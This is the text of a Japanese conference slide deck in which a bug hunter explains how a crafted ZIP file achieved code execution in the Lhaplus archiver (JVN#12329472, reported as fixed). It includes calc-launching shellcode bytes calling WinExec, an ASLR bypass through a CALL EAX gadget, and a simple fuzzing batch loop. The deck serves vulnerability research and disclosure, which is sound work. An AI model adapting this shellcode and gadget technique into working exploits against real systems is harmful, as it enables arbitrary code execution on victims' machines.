75
いでよ、電卓! ZIP Click Click IDEYO_CALC.zip Masato Kinugawa

いでよ、電卓!

Embed Size (px)

Citation preview

Page 1: いでよ、電卓!

いでよ、電卓!ZIP

👆Click

Click

IDEYO_CALC.zip

Masato Kinugawa

Page 2: いでよ、電卓!

自己紹介(1)

• Masato Kinugawa

• 脆弱性を発見することが好き

• 学生ではない

http://labs.cybozu.co.jp/recruit/youth.html

Page 3: いでよ、電卓!

自己紹介(2)

• 普段は家で脆弱性を探してお金を稼ぐ人• サイボウズにもいつもお世話になっております

Page 4: いでよ、電卓!

サイボウズ・ラボユースとはサイボウズ・ラボユースは、世界に通用する日本の若手エンジニアの発掘と育成を目指すことを目的とし、学生の若手クリエイターに研究開発の機会を提供する場として、2011年3月31日に設立されました。

2011年度、2012年度、2013年度、2014年度では、日本全国より応募のあった中から高校生1名、工業高校生1名、大学生7名、大学院生4名、バグハンター1名、合計14名を選抜し、サイボウズ・ラボの社員が直々に開発を指導し、それぞれの研究テーマに取り組んでいただきました。

https://atnd.org/events/64358

Page 5: いでよ、電卓!

これまでやってきたこと

脆弱なサイト

alert()の実行!

Page 6: いでよ、電卓!

これからやりたいこと

脆弱なEXE

電卓の実行!

Page 7: いでよ、電卓!

当初のテーマ

「Webアプリケーションの脆弱性発見」

そのきっかけとは ➡

東京体験・出社体験しながら、ガツガツWebの脆弱性を

発見するぞ~

ところがなぜかアセンブリ言語を学ぶことに…

Page 8: いでよ、電卓!

最初の数日

• ちょうどAdobe Flashの脆弱性をみていたのでその続きを追うことにした

(このバグは後日CVE-2014-0548として修正)

• メモリ関連のバグを追っていた訳ではなかったが検証中に…

_人人人人人人人_>突然のクラッシュ< ̄Y^Y^Y^Y^Y^Y^Y^Y ̄

Page 9: いでよ、電卓!

竹迫さん

このとき

バイナリ関連の脆弱性も発見できるようになりたいんですよねー

ここで勉強すればいいじゃないですか

Page 10: いでよ、電卓!

竹迫さん

このとき

バイナリ関連の脆弱性も発見できるようになりたいんですよねー

ここで勉強すればいいじゃないですか

Page 11: いでよ、電卓!

それからのラボユース

• ずっとアセンブリ言語読んでた

• 教科書「リバースエンジニアリングバイブル」

Page 12: いでよ、電卓!

ラボユース終了 月日は流れ

2014年11月

某Androidアプリ(.apk)の中をみようと

拡張子を.zipに変更し

普段使うアーカイバで解凍中に…

_人人人人人人人_>突然のクラッシュ< ̄Y^Y^Y^Y^Y^Y^Y^Y ̄

Page 13: いでよ、電卓!

注意

これ以降、現在報告中の現時点で修正されていない問題を解説します。具体的な問題箇所はわからないように配慮しています。

http://jvn.jp/jp/JVN12329472/index.html

修正されました!

JVN#12329472: Lhaplus において任意のコードを実行される脆弱性

Page 14: いでよ、電卓!

おや、クラッシュのようすが…

ZIPのバイナリ

50 4B 03 04...

41 41 41 41CC 4A 1F 0B

...

EAX = 41414141

;ここで 41414141+C のアドレスをReadしてクラッシュ

MOV EAX,DWORD PTR DS:[EAX+C]

Page 15: いでよ、電卓!

悪用できそうな空気

おや、クラッシュのようすが…

;ここで 41414141+C のアドレスをReadしてクラッシュ

MOV EAX,DWORD PTR DS:[EAX+C]

50 4B 03 04...

41 41 41 41CC 4A 1F 0B

...

EAX = 41414141 ZIPのバイナリ

Page 16: いでよ、電卓!

友人バグハンターに相談悪用できそうな空気

悪用できそうな空気

悪用できそうな空気

悪用できそうな空気

これ、CALLの部分でおちてない?

どうもデバッガでアタッチしない状態で解凍をはじめるとおちる位置が変わる

MOV EBP,DWORD PTR DS:[EAX]CALL DWORD PTR SS:[EBP+10] ;crash!

Page 17: いでよ、電卓!

そして...

• 友人がXP上で電卓起動に成功!

• でもXPは既にMicrosoftがサポートを終了している• 悪用可能なことの証明とはいいがたい

自力で新しいWindowsでも実行できるよう頑張る!

🔥よみがえるバイナリ熱

Page 18: いでよ、電卓!

最近のWindowsにあるASLR

• 配置されるメモリ位置をランダムにする機能• これにより狙ったメモリを実行することが困難に

• 今回のアプリは開発者が明示的にASLRを指定していなかったので、一部はランダムでない

ワンチャン有る?!

Page 19: いでよ、電卓!

XPで起きたこと振り返り

Page 20: いでよ、電卓!

XPで起きたこと

メモリ

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

ZIPのバイナリ

...37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …

いつも同じアドレスにZIPファイルのバイナリ

が配置される

Page 21: いでよ、電卓!

XPで起きたこと

メモリ

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

ZIPのバイナリ

...37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …

いつも同じアドレスにZIPファイルのバイナリ

が配置される

Page 22: いでよ、電卓!

XPで起きたこと

37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …

メモリ

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

ZIPのバイナリ

...37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …

いつも同じアドレスにZIPファイルのバイナリ

が配置される

Page 23: いでよ、電卓!

XPで起きたこと

37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …

メモリ

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

紆余曲折を経てクラッシュした

命令へ

Page 24: いでよ、電卓!

XPで起きたこと

37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …

メモリ

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

紆余曲折を経てクラッシュした

命令へ このときのCALL先を決めているEAXはいつも

ここを指す

Page 25: いでよ、電卓!

XPで起きたこと

04 XX XX XX 18 XX XX XX6A 00 68 63 61 6C 63 8BDC 6A 01 53 E8 YY YY YYYY 46 50 …

メモリ

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

ZIPのバイナリ

...04 XX XX XX 18 XX XX XX6A 00 68 63 61 6C 63 8BDC 6A 01 53 E8 YY YY YYYY 46 50 …

CALL先をうまく変え好きな命令を実行するようZIPのバイナリを編集してみる

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

Page 26: いでよ、電卓!

XPで起きたこと

04 XX XX XX 18 XX XX XX6A 00 68 63 61 6C 63 8BDC 6A 01 53 E8 YY YY YYYY 46 50 …

メモリ

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

EBPへコピーされる値逆さにして

EBP = XX XX XX 04

Page 27: いでよ、電卓!

XPで起きたこと

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

EBP+10はここで

Page 28: いでよ、電卓!

XPで起きたこと

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

EBP+10はここで

その中身はこれXX XX XX 18 (= 次実行するアドレス)

Page 29: いでよ、電卓!

XPで起きたこと

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

CALLでとぶアドレスはここなので

Page 30: いでよ、電卓!

XPで起きたこと

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

CALLでとぶアドレスはここなので 次実行されるのはここから

(自分が指定した命令!)

Page 31: いでよ、電卓!

XPで起きたこと

XXXXXX18 |6A 00 PUSH 0

XXXXXX1A |68 63616C63 PUSH 636C6163

XXXXXX1F |8BDC MOV EBX,ESP

XXXXXX21 |6A 01 PUSH 1

XXXXXX23 |53 PUSH EBX

XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

メモリ

命令に直すと

Page 32: いでよ、電卓!

スタック

XPで起きたこと

XXXXXX18 |6A 00 PUSH 0

XXXXXX1A |68 63616C63 PUSH 636C6163

XXXXXX1F |8BDC MOV EBX,ESP

XXXXXX21 |6A 01 PUSH 1

XXXXXX23 |53 PUSH EBX

XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec

0

PUSH 0

(文字列の終端)

Page 33: いでよ、電卓!

スタック

XPで起きたこと

XXXXXX18 |6A 00 PUSH 0

XXXXXX1A |68 63616C63 PUSH 636C6163

XXXXXX1F |8BDC MOV EBX,ESP

XXXXXX21 |6A 01 PUSH 1

XXXXXX23 |53 PUSH EBX

XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec

0

636C6163

PUSH 636C6163

(calc という文字列)

Page 34: いでよ、電卓!

スタック

XPで起きたこと

XXXXXX18 |6A 00 PUSH 0

XXXXXX1A |68 63616C63 PUSH 636C6163

XXXXXX1F |8BDC MOV EBX,ESP

XXXXXX21 |6A 01 PUSH 1

XXXXXX23 |53 PUSH EBX

XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec

0

636C6163

MOV EBX,ESP

EBX

Page 35: いでよ、電卓!

スタック

XPで起きたこと

XXXXXX18 |6A 00 PUSH 0

XXXXXX1A |68 63616C63 PUSH 636C6163

XXXXXX1F |8BDC MOV EBX,ESP

XXXXXX21 |6A 01 PUSH 1

XXXXXX23 |53 PUSH EBX

XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec

0

636C6163

1 PUSH 1

EBX

Page 36: いでよ、電卓!

スタック

XPで起きたこと

XXXXXX18 |6A 00 PUSH 0

XXXXXX1A |68 63616C63 PUSH 636C6163

XXXXXX1F |8BDC MOV EBX,ESP

XXXXXX21 |6A 01 PUSH 1

XXXXXX23 |53 PUSH EBX

XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec

0

636C6163

1

PointerPUSH EBX

EBX

Page 37: いでよ、電卓!

スタック

XPで起きたこと

XXXXXX18 |6A 00 PUSH 0

XXXXXX1A |68 63616C63 PUSH 636C6163

XXXXXX1F |8BDC MOV EBX,ESP

XXXXXX21 |6A 01 PUSH 1

XXXXXX23 |53 PUSH EBX

XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec

0

636C6163

1

Pointer

WinExec関数は

引数1 コマンド文字列へのポインタ引数2 表示状態

とするとコマンドが実行できる

Page 38: いでよ、電卓!

スタック

XPで起きたこと

XXXXXX18 |6A 00 PUSH 0

XXXXXX1A |68 63616C63 PUSH 636C6163

XXXXXX1F |8BDC MOV EBX,ESP

XXXXXX21 |6A 01 PUSH 1

XXXXXX23 |53 PUSH EBX

XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec

0

636C6163

1

Pointer

Page 39: いでよ、電卓!

ASLRがあると

XXXXXX18 |6A 00 PUSH 0

XXXXXX1A |68 63616C63 PUSH 636C6163

XXXXXX1F |8BDC MOV EBX,ESP

XXXXXX21 |6A 01 PUSH 1

XXXXXX23 |53 PUSH EBX

XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |

メモリ

➊このアドレスが毎回変わる

❷WinExecの位置が変わる

Page 40: いでよ、電卓!

➊への対処

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

メモリ

???????? |???????? |???????? |???????? |???????? |???????? |

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

アドレスは変わるがEAXは必ずここ

Page 41: いでよ、電卓!

➊への対処

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

メモリ

???????? |???????? |???????? |???????? |???????? |???????? |

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

アドレスは変わるがEAXは必ずここ

それならJMP EAX/CALL EAXみたいな部分にこの

CALLでとべば...

Page 42: いでよ、電卓!

➊への対処

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

メモリ

???????? |???????? |???????? |???????? |???????? |???????? |

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

それならJMP EAX/CALL EAXみたいな部分にこの

CALLでとべば... ここから実行するからなんだかできそう!

Page 43: いでよ、電卓!

➊への対処

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

JMP EAX = FF E0CALL EAX = FF D0

になるのでこのバイト値を検索

Page 44: いでよ、電卓!

00666666 | FF D0 …|

ASLRなしのどこか

CALL EAXがあった!

➊への対処

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

JMP EAX = FF E0CALL EAX = FF D0

になるのでこのバイト値を検索

Page 45: いでよ、電卓!

00666666 | FF D0 …|

ASLRなしのどこか

➊への対処

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

こうとびたい CALL EAX

Page 46: いでよ、電卓!

00666666 | FF D0 …|

ASLRなしのどこか

➊への対処

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

こうとびたい

00666666が入ってる場所があればいけそう

CALL EAX

Page 47: いでよ、電卓!

00666666 | FF D0 …|

➊への対処

04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

66 66 66 00…

00555555 |00555559 |ASLR

なしのどこか

あった!

CALL EAX

Page 48: いでよ、電卓!

00666666 | FF D0 …|

➊への対処

45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

66 66 66 00…

00555555 |00555559 |ASLR

なしのどこか

数をあわせる

CALL EAX

Page 49: いでよ、電卓!

00666666 | FF D0 …|

➊への対処

45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

66 66 66 00…

00555555 |00555559 |ASLR

なしのどこか

CALL EAX

Page 50: いでよ、電卓!

00666666 | FF D0 …|

➊への対処

45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

66 66 66 00…

00555555 |00555559 |ASLR

なしのどこか

CALL EAX

EBP = 00 55 55 45

Page 51: いでよ、電卓!

00666666 | FF D0 …|

➊への対処

45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

66 66 66 00…

00555555 |00555559 |ASLR

なしのどこか

CALL EAX

EBP = 00 55 55 45EBP+10 = 00 55 55 55

Page 52: いでよ、電卓!

00666666 | FF D0 …|

➊への対処

45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

66 66 66 00…

00555555 |00555559 |ASLR

なしのどこか

CALL EAX

EBP = 00 55 55 45EBP+10 = 00 55 55 55

CALL先 = 00 66 66 66

Page 53: いでよ、電卓!

00666666 | FF D0 …|

➊への対処

45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

66 66 66 00…

00555555 |00555559 |ASLR

なしのどこか

CALL EAX

EBP = 00 55 55 45EBP+10 = 00 55 55 55

CALL先 = 00 66 66 66

Page 54: いでよ、電卓!

00666666 | FF D0 …|

➊への対処

45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

MOV EBP,DWORD PTR DS:[EAX]

CALL DWORD PTR SS:[EBP+10]

66 66 66 00…

00555555 |00555559 |ASLR

なしのどこか

CALL EAX

EBP = 00 55 55 45EBP+10 = 00 55 55 55

CALL先 = 00 66 66 66

Page 55: いでよ、電卓!

➊への対処

???????? |45 INC EBP???????? |55 PUSH EBP???????? |55 PUSH EBP???????? |00???????? |6A 00 PUSH 0???????? |68 63616C63 PUSH 636C6163???????? |8BDC MOV EBX,ESP...

45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

アドレスに使ったところが

命令になる

命令に直すと↓

Page 56: いでよ、電卓!

➊への対処

???????? |45 INC EBP???????? |55 PUSH EBP???????? |55 PUSH EBP???????? |00???????? |6A 00 PUSH 0???????? |68 63616C63 PUSH 636C6163???????? |8BDC MOV EBX,ESP...

45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

ここは命令としておかしい

Page 57: いでよ、電卓!

➊への対処

???????? |45 INC EBP???????? |55 PUSH EBP???????? |55 PUSH EBP???????? |00FF ADD BH,BH???????? |6A 00 PUSH 0???????? |68 63616C63 PUSH 636C6163???????? |8BDC MOV EBX,ESP...

45 55 55 00FF 6A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50

???????? |???????? |???????? |???????? |???????? |???????? |

メモリ

これで有効な命令に!

適当にたした

Page 58: いでよ、電卓!

❷への対処(WinExecが不明)ASLRがきいていない部分にWinExecを呼び出している箇所があった!そこへとべば解決!

00444444| CALL <JMP.&kernel32.WinExec>

???????? |6A 00 PUSH 0???????? |68 63616C63 PUSH 636C6163???????? |8BDC MOV EBX,ESP???????? |6A 01 PUSH 1???????? |53 PUSH EBX???????? |E8 YYYYYYYY CALL kernel32.WinExec???????? |68 00444444 PUSH 44444400???????? |C3 RETN

Page 59: いでよ、電卓!

証明はできた!

IPAを通して報告!

後日

ファイルがでかすぎて開発者が問題箇所を特定できないと思います…

IPA

実証コードは 15MB以上...

(元ファイルを攻撃可能なように改変しただけ)

できれば小さくしたかったが...

Page 60: いでよ、電卓!

もう一度頑張る• ひたすら動的解析

• アセンブリだけみててもキツイのでZIPの構造を調べる

Page 61: いでよ、電卓!

その結果• ある領域が特定のバイト値になっていると脆弱なルーチンに到達することを発見

• これが鍵になり 15MB → 12KBの減量に成功!

Page 62: いでよ、電卓!

もっと頑張る

• 同アーカイバは多数の圧縮フォーマットをサポート

• こんなにあればどれかには穴があるのでは?

rar

cab

arj

lzh

zoo

ZIP

Page 63: いでよ、電卓!

Fuzzingすることに

• Fuzzingは脆弱性発見手法の1つ

• 非常に参考になる本:

Page 64: いでよ、電卓!

簡単にFuzzingする

1 対応フォーマットの小さなファイルを用意

Page 65: いでよ、電卓!

簡単にFuzzingする

2 ファイルの先頭から順番にわずかにファイルの中身を変えたものを作る

FF 4B 03 04 0A …50 4B 03 04 0A …base.zip

test0.zip

Page 66: いでよ、電卓!

簡単にFuzzingする

2 ファイルの先頭から順番にわずかにファイルの中身を変えたものを作る

50 FF 03 04 0A …FF 4B 03 04 0A …50 4B 03 04 0A …base.zip

test0.ziptest1.zip

Page 67: いでよ、電卓!

簡単にFuzzingする

2 ファイルの先頭から順番にわずかにファイルの中身を変えたものを作る

50 FF 03 04 0A …50 4B FF 04 0A …

FF 4B 03 04 0A …50 4B 03 04 0A …base.zip

test0.ziptest1.ziptest2.zip

Page 68: いでよ、電卓!

簡単にFuzzingする

2 ファイルの先頭から順番にわずかにファイルの中身を変えたものを作る

50 FF 03 04 0A …50 4B FF 04 0A …50 4B 03 FF 0A …

FF 4B 03 04 0A …50 4B 03 04 0A …

…base.ziptest0.ziptest1.ziptest2.ziptest3.zip

Page 69: いでよ、電卓!

簡単にFuzzingする

3 アーカイバにくわせクラッシュしないか見る

50 FF 03 04 0A …50 4B FF 04 0A …50 4B 03 FF 0A …

FF 4B 03 04 0A …50 4B 03 04 0A …

…base.ziptest0.ziptest1.ziptest2.ziptest3.zip

👀

Page 70: いでよ、電卓!

簡単にFuzzingする[作成] Python(ただバイトを変えるだけ)

[起動] バッチファイル(起動/終了を繰り返すだけ)

超単純だが (悪用可能かどうかは別として)様々なソフトで試すと結構クラッシュにぶつかる

for %%d in (*.zip) do start "" target.exe "%%d"&timeout 5&taskkill /IM target.exe

同アーカイバで悪用可能なクラッシュも検出!

その圧縮フォーマットとは... ➡

Page 71: いでよ、電卓!

ZOO

一番ヒントになったzoo展開のソース

http://archives.math.utk.edu/software/multi-platform/gap/util/unzoo.c

情報が少なくて厳しい

なんとかある領域が原因であることを特定

Page 72: いでよ、電卓!

今後の展望

【目標】年内にメモリ関連のバグで報奨金を得る

そのために:

• C/C++プログラミングの理解(ソースコードを想像できないと輪郭が掴み辛い)

• アセンブリ言語を読む、読む、読む

• もう少し賢いファジングをしたい• 実行した経路(コード網羅率)を記録し、観察すると

いいそうなので注目中

Page 73: いでよ、電卓!

ラボユース ~ 現在

バイナリも少しできる(?)人

Webしかできない人

Page 74: いでよ、電卓!

電卓起動しまくるぞっ!

Page 75: いでよ、電卓!

@kinugawamasato

✉ masatokinugawa [at] gmail.com

Thanks!